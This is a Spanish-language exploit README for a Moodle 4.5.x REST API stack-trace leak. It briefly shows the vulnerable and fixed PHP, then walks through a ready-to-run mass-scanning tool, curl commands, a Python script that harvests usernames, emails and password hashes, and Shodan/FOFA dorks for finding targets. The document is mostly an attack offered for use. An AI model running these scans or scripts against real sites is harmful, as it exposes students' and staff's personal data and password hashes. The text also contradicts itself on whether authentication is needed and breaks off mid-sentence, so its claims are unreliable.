
Moodle 4.5.0-4.5.2 Exposición de datos de usuario en API REST no autenticada mediante fuga de argumentos de la traza de pila | CVSS 7.5
CVE-2025-32044 es una vulnerabilidad de divulgación de información sin autenticación de severidad alta (CVSS 7.5) en Moodle LMS 4.5.0 hasta 4.5.2.
La vulnerabilidad se encuentra en el manejador de excepciones de la API REST de Moodle — exception_response::get_payload_data() en lib/classes/router/response/exception_response.php. Antes de la corrección, los stack traces de PHP con argumentos de funciones se incluían en las respuestas de error de la API. Estos argumentos contienen datos sensibles de usuario que pasan a través de la pila de llamadas — incluyendo nombres de usuario, nombres completos, direcciones de correo electrónico y hashes de contraseñas.
No se requiere autenticación, token ni interacción del usuario para desencadenar la fuga. El atacante solo necesita enviar una solicitud malformada a cualquier endpoint de la API REST que provoque una excepción interna.
| Versión de Moodle | Estado |
|---|---|
| 4.5.0 – 4.5.2 | Vulnerable |
| 4.5.3+ | Corregida |
| < 4.5.0 | No afectada |
Todas las versiones con zend.exception_ignore_args = On | No afectada |
Descubierto por: Lucas Alonso (14 de marzo de 2025)
Tracker de Moodle: MDL-84879
Aviso: MSA-25-0011
// lib/classes/router/response/exception_response.php (ANTES de la corrección)
protected static function get_payload_data(...): array {
$data = [
'message' => $exception->getMessage(),
'stacktrace' => $exception->getTrace(), // ← incluye 'args'!
];
return $data;
}
Cuando se produce una excepción durante el procesamiento de la API REST, el stack trace de PHP incluye los argumentos de las funciones (args) de cada marco en la pila de llamadas. Estos argumentos contienen inadvertidamente datos de la tabla de usuarios que estaban siendo procesados por funciones más arriba en la cadena de llamadas.
// lib/classes/router/response/exception_response.php (DESPUÉS de la corrección)
'stacktrace' => array_map(
fn ($frame): array => array_filter(
$frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
),
$exception->getTrace(),
),
Además, defensa en profundidad en lib/setup.php:
ini_set('zend.exception_ignore_args', '1');
1. Apuntar a Moodle 4.5.0-4.5.2 sin zend.exception_ignore_args
2. Enviar solicitud malformada a /webservice/rest/server.php
(p. ej., core_user_get_users_by_field con parámetros obligatorios faltantes)
3. Se desencadena una excepción interna durante el procesamiento de datos de usuario
4. La respuesta de error de la API incluye el stack trace con 'args'
5. Analizar args para obtener nombres de usuario, correos electrónicos, hashes
| Campo | Fuente |
|---|---|
| Nombre de usuario | tabla user |
| Nombre completo | firstname + lastname |
| Correo electrónico | columna email |
| Hash de contraseña | hashes bcrypt $2y$ / $2b$ |
| IP del último inicio de sesión | columna lastip |
| ID de usuario | columna id |
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt
# Escaneo de un solo objetivo
python cve_2025_32044.py -t moodle.target.com
# Escaneo masivo
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt
# Escaneo masivo con más hilos
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt
# Modo depuración
python cve_2025_32044.py -t moodle.target.com --debug -v
-t, --target Objetivo único (dominio o IP)
-f, --file Lista de objetivos, uno por línea
-o, --output Guardar los datos de usuario filtrados en un archivo
--threads Trabajadores concurrentes (predeterminado: 30)
--timeout Tiempo de espera de solicitud en segundos (predeterminado: 10)
--debug Mostrar cada solicitud HTTP
-v, --verbose Salida detallada
$ python cve_2025_32044.py -t moodle-target.com
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Host : moodle-target.com
Moodle : YES v4.5.1
WS Enabled : YES
Token : obtained (admin)
═══ DATA LEAKED ═══
admin | [email protected]
jsmith | [email protected]
mjones | [email protected]
Emails: 3
Hashes: 3
$2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
Time : 3.2s
Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
Targets: 500 | Threads: 30 | Mode: QUIET
[LEAK] moodle-vuln-01.ac.id users=15 emails=12 hashes=15
[WS] moodle-patched-02.edu token=admin
[!] moodle-no-ws-03.org
[150/500] 30% | Det:87 WS:32 Tok:8 Leak:5
───────────────────────────────────────────────────────
Done | 320s | Targets:500 Moodle:87 WS:32 Token:8 Leaked:5
Paso 1 — Detectar Moodle + Servicios Web
# Comprobar si es Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle
# Comprobar servicios web
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS habilitado + posible acceso de invitado
# {"error":"Web services must be enabled..."} = WS deshabilitado
Paso 2 — Obtener un token (si es posible)
curl -sk 'https://target.com/login/token.php?username=USER&password=PASS&service=moodle_mobile_app'
Paso 3 — Desencadenar la excepción y capturar la fuga
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# La respuesta contendrá stacktrace con args si es vulnerable
Paso 4 — Analizar los datos filtrados
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
'wsfunction': 'core_user_get_users_by_field',
'moodlewsrestformat': 'json',
'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
for arg in frame.get('args', []):
if isinstance(arg, dict) and 'username' in arg:
print(f"User: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")
FOFA: body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"
La explotación exitosa produce: